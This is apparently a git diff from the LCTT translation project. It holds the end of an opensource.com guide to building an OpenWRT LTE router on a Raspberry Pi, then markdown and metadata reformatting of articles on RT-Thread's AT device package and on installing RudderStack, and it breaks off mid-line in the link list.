Janenas, [CC BY-SA 4.0][4]) - -Save this configuration and connect your Pi to the router over Ethernet. You can now reach the Raspberry Pi with this new IP address. - -Be sure to set a password for your OpenWRT router before you put it into production use! - -**To use WiFi** - -If you would like to connect the Raspberry Pi to the internet through WiFi, navigate to **Network → Wireless**. In the **Wireless** menu, press the blue **Scan** button to locate your home network. - -![Scan the network][13] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -In the pop-up window, find your WiFi network and connect to it. Don't forget to **Save and Apply** the configuration. - -In the **Network → Interfaces** section, you should see a new interface. - -![New interface][14] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -Be sure to set a password for your OpenWRT router before you put it into production use! - -### Install the necessary packages - -By default, the router doesn't have a lot of packages. OpenWRT offers a package manager with a selection of packages you need to install. Navigate to **System → Software** and update your package manager by pressing the button labeled "**Update lists…**". - -![Updating packages][15] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -You will see a lot of packages; you need to install these: - - * usb-modeswitch - * kmod-mii - * kmod-usb-net - * kmod-usb-wdm - * kmod-usb-serial - * kmod-usb-serial-option - * kmod-usb-serial-wwan (if it's not installed) - - - -Additionally, [download this modemmanager package][16] and install it by pressing the button labeled **Upload Package…** in the pop-up window. Reboot the Raspberry Pi for the packages to take effect. - -### Set up the mobile interface - -After all those packages are installed, you can set up the mobile interface. Before connecting the modem to the Raspberry Pi read, the [modem instructions][17] to set it up. Then connect your mobile modem to the Raspberry Pi and wait a little until the modem boots up. - -Navigate to **Network → Interface**. At the bottom of the page, press the **Add new interface…** button. In the pop-up window, give your interface a name (e.g., **mobile**) and select **ModemManager** from the drop-down list. - -![Add a new mobile interface][18] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -Press the button labeled **Create Interface**. You should see a new pop-up window. This is the main window for configuring the interface. In this window, select your modem and enter any other information like an Access Point Name (APN) or a PIN. - -![Configuring the interface][19] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -**Note:** If no modem devices appear in the list, try rebooting your Raspberry Pi or installing the kmod-usb-net-qmi-wwan package. - -When you are done configuring your interface, press **Save** and then **Save and Apply**. Give some time for the system to take effect. If everything went well, you should see something like this. - -![Configured interface][20] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -If you want to check your internet connection over this interface, you can use ssh to connect to your Raspberry Pi shell. In the terminal, enter: - - -``` -`ssh root@192.168.1.1` -``` - -The default IP address is 192.168.1.1; if you changed it, then use that IP address to connect. When connected, execute this command in the terminal: - - -``` -`ping -I ppp0 google.com` -``` - -If everything is working, then you should receive pings back from Google's servers. - -![Terminal interface][21] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -**ppp0** is the default interface name for the mobile interface you created. You can check your interfaces using **ifconfig**. It shows active interfaces only. - -### Set up the firewall - -To get the mobile interface working, you need to configure a firewall for the **mobile** interface and the **lan** interface to direct traffic to the correct interface. - -Navigate to **Network → Firewall**. At the bottom of the page, you should see a section called **Zones**. - -![Firewall zones][22] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -The simplest way to configure the firewall is to adjust the **wan** zone. Press the **Edit** button and in the **Covered networks** option, select your **mobile** interface, and **Save and Apply** your configuration. If you don't want to use WiFi to connect to the internet, you can remove **wwan** from the **Covered networks** or disable the WiFi connection. - -![Firewall zone settings][23] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -If you want to set up individual zones for each interface, just create a new zone and assign the necessary interfaces. For example, you may want to have a mobile zone that covers the mobile interface and is used to forward LAN interface traffic through it. Press the **Add** button, then **Name** your zone, check the **Masquerading** check box, select **Covered Networks**, and choose which zones can forward their traffic. - -![Firewall zone settings][24] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -Then **Save and Apply** the changes. Now you have a new zone. - -### Set up an Access Point - -The last step is to configure a network with an Access Point for your devices to connect to the internet. To set up an Access Point, navigate to **Network → Wireless**. You will see a WiFi device interface, a disabled Access Point named **OpenWRT**, and a connection that is used to connect to the internet over WiFi (if you didn't disable or delete it earlier). On the **Disable** interface, press the **Edit** button, then **Enable** the interface. - -![Enabling wireless network][25] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -If you want, you can change the interface name by editing the **ESSID** option. You can also select which network it will be associated with. By default, it with be associated with the **lan** interface. - -![Configuring the interface][26] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -To add a password for this interface, select the **Wireless Security** tab. In the tab, select the encryption **WPA2-PSK** and enter the password for the interface in the **Key** option field. - -![Setting a password][27] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -Then **Save and Apply** the configuration. If the configuration was set correctly, when scanning available Access Points with your device, you should see a new Access Point with the name you assigned. - -### Additional packages - -If you want, you can download additional packages for your router through the web interface. Just go to **System → Software** and install the package you want from the list or download it from the internet and upload it. If you don't see any packages in the list, press the **Update lists…** button. - -You can also add other repositories that have packages that are good to use with OpenWRT. Packages and their web interfaces are installed separately. The packages that start with the prefix **luci-** are web interface packages. - -![Packages with luci- prefix][28] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -### Give it a try - -This is what my Raspberry Pi router setup looks like. - -![Raspberry Pi router][29] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -It not difficult to build a router from a Raspberry Pi. The downside is that a Raspberry Pi has only one Ethernet port. You can add more ports with a USB-to-Ethernet adapter. Don't forget to configure the port on the interface's website. - -OpenWRT supports a large number of mobile modems, and you can configure the mobile interface for any of them with the modemmanager, which is a universal tool to manage modems. - -Have you used your Raspberry Pi as a router? Let us know how it went in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/3/router-raspberry-pi - -作者:[Lukas Janėnas][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/lukasjan -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/mesh_networking_dots_connected.png?itok=ovINTRR3 (Mesh networking connected dots) -[2]: https://openwrt.org/ -[3]: https://opensource.com/sites/default/files/uploads/lte_modem.png (Teltonika TRM240 modem) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://teltonika-networks.com/product/trm240/ -[6]: https://downloads.openwrt.org/releases/19.07.7/targets/brcm2708/bcm2710/ -[7]: https://opensource.com/sites/default/files/uploads/imagefiles.png (OpenWRT image files) -[8]: https://opensource.com/article/17/3/how-write-sd-cards-raspberry-pi -[9]: https://opensource.com/sites/default/files/uploads/ipaddresses.png (IP addresses) -[10]: https://opensource.com/sites/default/files/uploads/openwrt-login.png (OpenWRT login page) -[11]: https://opensource.com/sites/default/files/uploads/lan-interface.png (LAN interface) -[12]: https://opensource.com/sites/default/files/uploads/lan-interface-ip.png (Enter IP in the LAN interface) -[13]: https://opensource.com/sites/default/files/uploads/scannetwork.png (Scan the network) -[14]: https://opensource.com/sites/default/files/uploads/newinterface.png (New interface) -[15]: https://opensource.com/sites/default/files/uploads/updatesoftwarelist.png (Updating packages) -[16]: https://downloads.openwrt.org/releases/packages-21.02/aarch64_cortex-a53/luci/luci-proto-modemmanager_git-21.007.43644-ab7e45c_all.ipk -[17]: https://wiki.teltonika-networks.com/view/TRM240_SIM_Card -[18]: https://opensource.com/sites/default/files/uploads/addnewinterface.png (Add a new mobile interface) -[19]: https://opensource.com/sites/default/files/uploads/configureinterface.png (Configuring the interface) -[20]: https://opensource.com/sites/default/files/uploads/configuredinterface.png (Configured interface) -[21]: https://opensource.com/sites/default/files/uploads/terminal.png (Terminal interface) -[22]: https://opensource.com/sites/default/files/uploads/firewallzones.png (Firewall zones) -[23]: https://opensource.com/sites/default/files/uploads/firewallzonesettings.png (Firewall zone settings) -[24]: https://opensource.com/sites/default/files/uploads/firewallzonepriv.png (Firewall zone settings) -[25]: https://opensource.com/sites/default/files/uploads/enablewirelessnetwork.png (Enabling wireless network) -[26]: https://opensource.com/sites/default/files/uploads/interfaceconfig.png (Configuring the interface) -[27]: https://opensource.com/sites/default/files/uploads/interfacepassword.png (Setting a password) -[28]: https://opensource.com/sites/default/files/uploads/luci-packages.png (Packages with luci- prefix) -[29]: https://opensource.com/sites/default/files/uploads/raspberrypirouter.jpg (Raspberry Pi router) diff --git a/sources/tech/20210316 Get started with edge computing by programming embedded systems.md b/sources/tech/20210316 Get started with edge computing by programming embedded systems.md index 5899e54827..a51532e521 100644 --- a/sources/tech/20210316 Get started with edge computing by programming embedded systems.md +++ b/sources/tech/20210316 Get started with edge computing by programming embedded systems.md @@ -1,18 +1,20 @@ -[#]: subject: (Get started with edge computing by programming embedded systems) -[#]: via: (https://opensource.com/article/21/3/rtos-embedded-development) -[#]: author: (Alan Smithee https://opensource.com/users/alansmithee) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "Get started with edge computing by programming embedded systems" +[#]: via: "https://opensource.com/article/21/3/rtos-embedded-development" +[#]: author: "Alan Smithee https://opensource.com/users/alansmithee" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Get started with edge computing by programming embedded systems ====== -The AT device package for controlling wireless modems is one of RTOS's -most popular extensions. +The AT device package for controlling wireless modems is one of RTOS's most popular extensions. + ![Looking at a map][1] +Image by: opensource.com + RTOS is an open source [operating system for embedded devices][2] developed by RT-Thread. It provides a standardized, friendly foundation for developers to program a variety of devices and includes a large number of useful libraries and toolkits to make the process easier. Like Linux, RTOS uses a modular approach, which makes it easy to extend. Packages enable developers to use RTOS for any device they want to target. One of RTOS's most popular extensions is the AT device package, which includes porting files and sample code for different AT devices (i.e., modems). @@ -37,77 +39,71 @@ The at_device package is distributed under an LGPLv2.1 license, and it's easy to To use AT devices with RTOS, you must enable the AT component library and AT socket functionality. This requires: - * RT_Thread 4.0.2+ - * RT_Thread AT component 1.3.0+ - * RT_Thread SAL component - * RT-Thread netdev component - - +* RT_Thread 4.0.2+ +* RT_Thread AT component 1.3.0+ +* RT_Thread SAL component +* RT-Thread netdev component The AT device package has been updated for multiple versions. Different versions require different configuration options, so they must fit into the corresponding system versions. Most of the currently available AT device package versions are: - * V1.2.0: For RT-Thread versions less than V3.1.3, AT component version equals V1.0.0 - * V1.3.0: For RT-Thread versions less than V3.1.3, AT component version equals V1.1.0 - * V1.4.0: For RT-Thread versions less than V3.1.3 or equal to V4.0.0, AT component version equals V1.2.0 - * V1.5.0: For RT-Thread versions less than V3.1.3 or equal to V4.0.0, AT component version equals V1.2.0 - * V1.6.0: For RT-Thread versions equal to V3.1.3 or V4.0.1, AT component version equals V1.2.0 - * V2.0.0/V2.0.1: For RT-Thread versions higher than V4.0.1 or higher than 3.1.3, AT component version equals V1.3.0 - * Latest version: For RT-Thread versions higher than V4.0.1 or higher than 3.1.3, AT component version equals V1.3.0 - - +* V1.2.0: For RT-Thread versions less than V3.1.3, AT component version equals V1.0.0 +* V1.3.0: For RT-Thread versions less than V3.1.3, AT component version equals V1.1.0 +* V1.4.0: For RT-Thread versions less than V3.1.3 or equal to V4.0.0, AT component version equals V1.2.0 +* V1.5.0: For RT-Thread versions less than V3.1.3 or equal to V4.0.0, AT component version equals V1.2.0 +* V1.6.0: For RT-Thread versions equal to V3.1.3 or V4.0.1, AT component version equals V1.2.0 +* V2.0.0/V2.0.1: For RT-Thread versions higher than V4.0.1 or higher than 3.1.3, AT component version equals V1.3.0 +* Latest version: For RT-Thread versions higher than V4.0.1 or higher than 3.1.3, AT component version equals V1.3.0 Getting the right version is mostly an automatic process done in menuconfig. It provides the best version of the at_device package based on your current system environment. As mentioned, different versions require different configuration options. For instance, version 1.x supports enabling one AT device at a time: - ``` -RT-Thread online packages  ---> -     IoT - internet of things  ---> +RT-Thread online packages  ---> +     IoT - internet of things  --->         -*- AT DEVICE: RT-Thread AT component porting or samples for different device           [ ]   Enable at device init by thread -              AT socket device modules (Not selected, please select)  --->     -              Version (V1.6.0)  ---> +              AT socket device modules (Not selected, please select)  --->     +              Version (V1.6.0)  ---> ``` The option to enable the AT device init by thread dictates whether the configuration creates a separate thread to initialize the device network. Version 2.x supports enabling multiple AT devices at the same time: - ``` -RT-Thread online packages  ---> -     IoT - internet of things  ---> +RT-Thread online packages  ---> +     IoT - internet of things  --->         -*- AT DEVICE: RT-Thread AT component porting or samples for different device -        [*]   Quectel M26/MC20  ---> +        [*]   Quectel M26/MC20  --->           [*]   Enable initialize by thread           [*]   Enable sample           (-1)    Power pin           (-1)    Power status pin           (uart3) AT client device name           (512)   The maximum length of receive line buffer -        [ ]   Quectel EC20  ---> -        [ ]   Espressif ESP32  ---> -        [*]   Espressif ESP8266  ---> +        [ ]   Quectel EC20  ---> +        [ ]   Espressif ESP32  ---> +        [*]   Espressif ESP8266  --->           [*]   Enable initialize by thread           [*]   Enable sample           (realthread) WIFI ssid           (12345678) WIFI password           (uart2) AT client device name           (512)   The maximum length of receive line buffer -        [ ]   Realthread RW007  ---> -        [ ]   SIMCom SIM800C  ---> -        [ ]   SIMCom SIM76XX  ---> -        [ ]   Notion MW31  ---> -        [ ]   WinnerMicro W60X  ---> -        [ ]   AiThink A9/A9G  ---> -        [ ]   Quectel BC26  ---> -        [ ]   Luat air720  ---> -        [ ]   GOSUNCN ME3616  ---> -        [ ]   ChinaMobile M6315  ---> -        [ ]   Quectel BC28  ---> -        [ ]   Quectel ec200x  ---> -        Version (latest)  ---> +        [ ]   Realthread RW007  ---> +        [ ]   SIMCom SIM800C  ---> +        [ ]   SIMCom SIM76XX  ---> +        [ ]   Notion MW31  ---> +        [ ]   WinnerMicro W60X  ---> +        [ ]   AiThink A9/A9G  ---> +        [ ]   Quectel BC26  ---> +        [ ]   Luat air720  ---> +        [ ]   GOSUNCN ME3616  ---> +        [ ]   ChinaMobile M6315  ---> +        [ ]   Quectel BC28  ---> +        [ ]   Quectel ec200x  ---> +        Version (latest)  ---> ``` This version includes many other options, including one to enable sample code, which might be particularly useful to new developers or any developer using an unfamiliar device. @@ -116,24 +112,21 @@ You can also control options to choose which pin you want to use to supply power In short, there is no shortage of control options. - * V2.X.X version supports enabling multiple AT devices simultaneously, and the enabled device information can be viewed with the `ifocnfig` command in [finsh shell][6]. - * V2.X.X version requires the device to register before it's used; the registration can be done in the samples directory file or customized in the application layer. - * Pin options such as **Power pin** and **Power status pin** are configured according to the device's hardware connection. They can be configured as `-1` if the hardware power-on function is not used. - * One AT device should correspond to one serial name, and the **AT client device name** for each device should be different. - - +* V2.X.X version supports enabling multiple AT devices simultaneously, and the enabled device information can be viewed with the `ifocnfig` command in [finsh shell][6]. +* V2.X.X version requires the device to register before it's used; the registration can be done in the samples directory file or customized in the application layer. +* Pin options such as Power pin and Power status pin are configured according to the device's hardware connection. They can be configured as `-1` if the hardware power-on function is not used. +* One AT device should correspond to one serial name, and the AT client device name for each device should be different. ### AT components configuration options When the AT device package is selected and device support is enabled, client functionality for the AT component is selected by default. That means more options—this time for the AT component: - ``` -RT-Thread Components  ---> -    Network  ---> -        AT commands  ---> +RT-Thread Components  ---> +    Network  ---> +        AT commands  --->     [ ]   Enable debug log output -    [ ]   Enable AT commands server +    [ ]   Enable AT commands server     -*-   Enable AT commands client     (1)     The maximum number of supported clients     -*-     Enable BSD Socket API support by AT commnads @@ -144,11 +137,9 @@ RT-Thread Components  ---> The configuration options related to the AT device package are: - * **The maximum number of supported clients**: Selecting multiple devices in the AT device package requires this option to be configured as the corresponding value. - * **Enable BSD Socket API support by AT commands**: This option will be selected by default when selecting the AT device package. - * **The maximum length of AT Commands buffe:** The maximum length of the data the AT commands can send. - - +* The maximum number of supported clients: Selecting multiple devices in the AT device package requires this option to be configured as the corresponding value. +* Enable BSD Socket API support by AT commands: This option will be selected by default when selecting the AT device package. +* The maximum length of AT Commands buffe: The maximum length of the data the AT commands can send. ### Anything is possible @@ -159,15 +150,15 @@ When you start programming embedded systems, you quickly realize that you can cr via: https://opensource.com/article/21/3/rtos-embedded-development 作者:[Alan Smithee][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/alansmithee -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/tips_map_guide_ebook_help_troubleshooting_lightbulb_520.png?itok=L0BQHgjr (Looking at a map) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/tips_map_guide_ebook_help_troubleshooting_lightbulb_520.png [2]: https://opensource.com/article/20/6/open-source-rtos [3]: https://en.wikipedia.org/wiki/Berkeley_sockets [4]: https://github.com/RT-Thread/rtthread-manual-doc/blob/master/at/at.md diff --git a/sources/tech/20210318 Get started with an open source customer data platform.md b/sources/tech/20210318 Get started with an open source customer data platform.md index 9cdbc1d34d..ec2f2c9afa 100644 --- a/sources/tech/20210318 Get started with an open source customer data platform.md +++ b/sources/tech/20210318 Get started with an open source customer data platform.md @@ -1,19 +1,20 @@ -[#]: subject: (Get started with an open source customer data platform) -[#]: via: (https://opensource.com/article/21/3/rudderstack-customer-data-platform) -[#]: author: (Amey Varangaonkar https://opensource.com/users/ameypv) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "Get started with an open source customer data platform" +[#]: via: "https://opensource.com/article/21/3/rudderstack-customer-data-platform" +[#]: author: "Amey Varangaonkar https://opensource.com/users/ameypv" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Get started with an open source customer data platform ====== -As an open source alternative to Segment, RudderStack collects and -routes event stream (or clickstream) data and automatically builds your -customer data lake on your data warehouse. +As an open source alternative to Segment, RudderStack collects and routes event stream (or clickstream) data and automatically builds your customer data lake on your data warehouse. + ![Person standing in front of a giant computer screen with numbers, data][1] +Image by: Opensource.com + [RudderStack][2] is an open source, warehouse-first customer data pipeline. It collects and routes event stream (or clickstream) data and automatically builds your customer data lake on your data warehouse. RudderStack is commonly known as the open source alternative to the customer data platform (CDP), [Segment][3]. It provides a more secure, flexible, and cost-effective solution in comparison. You get all the CDP functionality with added security and full ownership of your customer data. @@ -24,60 +25,51 @@ Warehouse-first tools like RudderStack are architected to build functional data Before you get started, you will need the RudderStack workspace token from your RudderStack dashboard. To get it: - 1. Go to the [RudderStack dashboard][4]. - - 2. Log in using your credentials (or sign up for an account, if you don't already have one). - -![RudderStack login screen][5] - -(RudderStack, [CC BY-SA 4.0][6]) - - 3. Once you've logged in, you should see the workspace token on your RudderStack dashboard. - -![RudderStack workspace token][7] - -(RudderStack, [CC BY-SA 4.0][6]) +1. Go to the [RudderStack dashboard][4]. +2. Log in using your credentials (or sign up for an account, if you don't already have one). + ![RudderStack login screen][7] +3. Once you've logged in, you should see the workspace token on your RudderStack dashboard. + ![RudderStack workspace token][8] ### Installing RudderStack Setting up a RudderStack open source instance is straightforward. You have two installation options: - 1. On your Kubernetes cluster, using RudderStack's Helm charts - 2. On your Docker container, using the `docker-compose` command +1. On your Kubernetes cluster, using RudderStack's Helm charts +2. On your Docker container, using the `docker-compose` command - - -This tutorial explains how to use both options but assumes that you already have [Git installed on your system][8]. +This tutorial explains how to use both options but assumes that you already have [Git installed on your system][9]. #### Deploying with Kubernetes -You can deploy RudderStack on your Kubernetes cluster using the [Helm][9] package manager. +You can deploy RudderStack on your Kubernetes cluster using the [Helm][10] package manager. -_If you plan to use RudderStack in production, we strongly recommend using this method._ This is because the Docker images are updated with bug fixes more frequently than the GitHub repository (which follows a monthly release cycle). +*If you plan to use RudderStack in production, we strongly recommend using this method.* This is because the Docker images are updated with bug fixes more frequently than the GitHub repository (which follows a monthly release cycle). Before you can deploy RudderStack on Kubernetes, make sure you have the following prerequisites in place: - * [Install and connect kubectl][10] to your Kubernetes cluster. - * [Install Helm][11] on your system, either through the Helm installer scripts or its package manager. - * Finally, get the workspace token from the RudderStack dashboard by following the steps in the [Getting the RudderStack workspace token][12] section. - - +* [Install and connect kubectl][11] to your Kubernetes cluster. +* [Install Helm][12] on your system, either through the Helm installer scripts or its package manager. +* Finally, get the workspace token from the RudderStack dashboard by following the steps in the Getting the RudderStack workspace token section. Once you've completed all the prerequisites, deploy RudderStack on your default Kubernetes cluster: - 1. Find the Helm chart required to deploy RudderStack in this [repo][13]. - 2. Install the Helm chart with a release name of your choice (`my-release`, in this example) from the root directory of the repo in the previous step: [code] $ helm install \ -my-release ./ --set \ -rudderWorkspaceToken="<your workspace token from RudderStack dashboard>" -``` +1. Find the Helm chart required to deploy RudderStack in this [repo][13]. +2. Install the Helm chart with a release name of your choice (my-release, in this example) from the root directory of the repo in the previous step: + ``` + $ helm install \ + my-release ./ --set \ + rudderWorkspaceToken="" + ``` + This deploys RudderStack on your default Kubernetes cluster configured with kubectl using the workspace token you obtained from the RudderStack dashboard. For more details on the configurable parameters in the RudderStack Helm chart or updating the versions of the images used, consult the [documentation][14]. -### Deploying with Docker +#### Deploying with Docker Docker is the easiest and fastest way to set up your open source RudderStack instance. @@ -85,12 +77,12 @@ First, get the workspace token from the RudderStack dashboard by following the s Once you have the RudderStack workspace token: - 1. Download the [**rudder-docker.yml**][15] docker-compose file required for the installation. - 2. Replace `` in this file with your RudderStack workspace token. - 3. Set up RudderStack on your Docker container by running: [code]`docker-compose -f rudder-docker.yml up` -``` - - +1. Download the [rudder-docker.yml][15] docker-compose file required for the installation. +2. Replace `` in this file with your RudderStack workspace token. +3. Set up RudderStack on your Docker container by running: + ``` + docker-compose -f rudder-docker.yml up + ``` Now RudderStack should be up and running on your Docker instance. @@ -98,128 +90,115 @@ Now RudderStack should be up and running on your Docker instance. You can verify your RudderStack installation by sending test events using the bundled shell script: - 1. Clone the GitHub repository: [code]`git clone https://github.com/rudderlabs/rudder-server.git` -``` - 2. In this tutorial, you will verify RudderStack by sending test events to Google Analytics. Make sure you have a Google Analytics account and keep the tracking ID handy. Also, note that the Google Analytics account needs to have a `Web` property. +1. Clone the GitHub repository: + ``` + git clone https://github.com/rudderlabs/rudder-server.git + ``` +2. In this tutorial, you will verify RudderStack by sending test events to Google Analytics. Make sure you have a Google Analytics account and keep the tracking ID handy. Also, note that the Google Analytics account needs to have a `Web` property. +3. In the [RudderStack hosted control plane][16]: + * Add a source on the RudderStack dashboard by following the [Adding a source and destination in RudderStack][17] guide. You can use either of RudderStack's event stream software development kits (SDKs) for sending events from your app. This example sets up the [JavaScript SDK][18] as a source on the dashboard. Note: You aren't actually installing the RudderStack JavaScript SDK on your site in this step; you are just creating the source in RudderStack. + * Configure a Google Analytics destination on the RudderStack dashboard using the instructions in the guide mentioned previously. Use the Google Analytics tracking ID you kept from step 2 of this section: - 3. In the [RudderStack hosted control plane][4]: - - * Add a source on the RudderStack dashboard by following the [Adding a source and destination in RudderStack][16] guide. You can use either of RudderStack's event stream software development kits (SDKs) for sending events from your app. This example sets up the [JavaScript SDK][17] as a source on the dashboard. **Note:** You aren't actually installing the RudderStack JavaScript SDK on your site in this step; you are just creating the source in RudderStack. - - * Configure a Google Analytics destination on the RudderStack dashboard using the instructions in the guide mentioned previously. Use the Google Analytics tracking ID you kept from step 2 of this section: - -![Google Analytics tracking ID][18] - -(RudderStack, [CC BY-SA 4.0][6]) - - 4. As mentioned before, RudderStack bundles a shell script that generates test events. Get the **Source write key** from the RudderStack dashboard: - -![RudderStack source write key][19] - -(RudderStack, [CC BY-SA 4.0][6]) - - 5. Next, run: [code]`./scripts/generate-event https://hosted.rudderlabs.com/v1/batch` -``` - - 6. Finally, log into your Google Analytics account and verify that the events were delivered. In your Google Analytics account, navigate to **RealTime** -> **Events**. The RealTime view is important because some dashboards can take one to two days to refresh. + ![Google Analytics tracking ID][27] +4. As mentioned before, RudderStack bundles a shell script that generates test events. Get the **Source write key** from the RudderStack dashboard: + ![RudderStack source write key][28] +5. Next, run: + ``` + ./scripts/generate-event https://hosted.rudderlabs.com/v1/batch + ``` +6. Finally, log into your Google Analytics account and verify that the events were delivered. In your Google Analytics account, navigate to *RealTime** -> **Events**. The RealTime view is important because some dashboards can take one to two days to refresh. ### Optional: Setting up the open source control plane -RudderStack's core architecture contains two major components: the data plane and the control plane. The data plane, [rudder-server][20], delivers your event data, and the RudderStack hosted control plane manages the configuration of your sources and destinations. +RudderStack's core architecture contains two major components: the data plane and the control plane. The data plane, [rudder-server][29], delivers your event data, and the RudderStack hosted control plane manages the configuration of your sources and destinations. -However, if you want to manage the source and destination configurations locally, you can set an open source control plane in your environment using the RudderStack Config Generator. (You must have [Node.js][21] installed on your system to use it.) +However, if you want to manage the source and destination configurations locally, you can set an open source control plane in your environment using the RudderStack Config Generator. (You must have [Node.js][30] installed on your system to use it.) Here are the steps to set up the control plane: - 1. Install and set up RudderStack on the platform of your choice by following the instructions above. - 2. Run the following commands in this order: - * `cd utils/config-gen` - * `npm install` - * `npm start` - - +1. Install and set up RudderStack on the platform of your choice by following the instructions above. +2. Run the following commands in this order: + ``` + cd utils/config-gen + npm install + npm start + ``` You should now be able to access the open source control plane at `http://localhost:3000` by default. If your setup is successful, you will see the user interface. -![RudderStack open source control plane][22] +![RudderStack open source control plane][31] -(RudderStack, [CC BY-SA 4.0][6]) - -To export the existing workspace configuration from the RudderStack-hosted control plane and have RudderStack use it, consult the [docs][23]. +To export the existing workspace configuration from the RudderStack-hosted control plane and have RudderStack use it, consult the [docs][32]. ### RudderStack and open source -The core of RudderStack is in the [rudder-server][20] repository. It is open source, licensed under [AGPL-3.0][24]. A majority of the destination integrations live in the [rudder-transformer][25] repository. They are open source as well, licensed under the [MIT License][26]. The SDKs and instrumentation repositories, several tool and utility repositories, and even some [dbt][27] model repositories for use-cases like customer journey analysis and sessionization for the data residing in your data warehouse are open source, licensed under the MIT License, and available in the [GitHub repository][28]. +The core of RudderStack is in the [rudder-server][33] repository. It is open source, licensed under [AGPL-3.0][34]. A majority of the destination integrations live in the [rudder-transformer][35] repository. They are open source as well, licensed under the [MIT License][36]. The SDKs and instrumentation repositories, several tool and utility repositories, and even some [dbt][37] model repositories for use-cases like customer journey analysis and sessionization for the data residing in your data warehouse are open source, licensed under the MIT License, and available in the [GitHub repository][38]. -You can use RudderStack's open source offering, rudder-server, on your platform of choice. There are setup guides for [Docker][29], [Kubernetes][30], [native installation][31], and [developer machines][32]. +You can use RudderStack's open source offering, rudder-server, on your platform of choice. There are setup guides for [Docker][39], [Kubernetes][40], [native installation][41], and [developer machines][42]. RudderStack open source offers: - 1. RudderStack event stream - 2. 15+ SDKs and source integrations to ingest event data - 3. 80+ destination and warehouse integrations - 4. Slack community support - - +1. RudderStack event stream +2. 15+ SDKs and source integrations to ingest event data +3. 80+ destination and warehouse integrations +4. Slack community support #### RudderStack Cloud -RudderStack also offers a managed option, [RudderStack Cloud][33]. It is fast, reliable, and highly scalable with a multi-node architecture and sophisticated error-handling mechanism. You can hit peak event volume without worrying about downtime, loss of events, or latency. +RudderStack also offers a managed option, [RudderStack Cloud][43]. It is fast, reliable, and highly scalable with a multi-node architecture and sophisticated error-handling mechanism. You can hit peak event volume without worrying about downtime, loss of events, or latency. -Explore our open source repos on [GitHub][28], subscribe to [our blog][34], and follow us on social media: [Twitter][35], [LinkedIn][36], [dev.to][37], [Medium][38], and [YouTube][39]! +Image By: (RudderStack, CC BY-SA 4.0) -------------------------------------------------------------------------------- via: https://opensource.com/article/21/3/rudderstack-customer-data-platform 作者:[Amey Varangaonkar][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/ameypv -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/data_metrics_analytics_desktop_laptop.png?itok=9QXd7AUr (Person standing in front of a giant computer screen with numbers, data) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/data_metrics_analytics_desktop_laptop.png [2]: https://rudderstack.com/ [3]: https://segment.com/ [4]: https://app.rudderstack.com/ -[5]: https://opensource.com/sites/default/files/uploads/rudderstack_login.png (RudderStack login screen) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://opensource.com/sites/default/files/uploads/rudderstack_workspace-token.png (RudderStack workspace token) -[8]: https://opensource.com/life/16/7/stumbling-git -[9]: https://helm.sh/ -[10]: https://kubernetes.io/docs/tasks/tools/install-kubectl/ -[11]: https://helm.sh/docs/intro/install/ -[12]: tmp.AhGpFIyrbZ#token +[7]: https://opensource.com/sites/default/files/uploads/rudderstack_login.png +[8]: https://opensource.com/sites/default/files/uploads/rudderstack_workspace-token.png +[9]: https://opensource.com/life/16/7/stumbling-git +[10]: https://helm.sh/ +[11]: https://kubernetes.io/docs/tasks/tools/install-kubectl/ +[12]: https://helm.sh/docs/intro/install/ [13]: https://github.com/rudderlabs/rudderstack-helm [14]: https://docs.rudderstack.com/installing-and-setting-up-rudderstack/kubernetes [15]: https://raw.githubusercontent.com/rudderlabs/rudder-server/master/rudder-docker.yml -[16]: https://docs.rudderstack.com/get-started/adding-source-and-destination-rudderstack -[17]: https://docs.rudderstack.com/rudderstack-sdk-integration-guides/rudderstack-javascript-sdk -[18]: https://opensource.com/sites/default/files/uploads/googleanalyticstrackingid.png (Google Analytics tracking ID) -[19]: 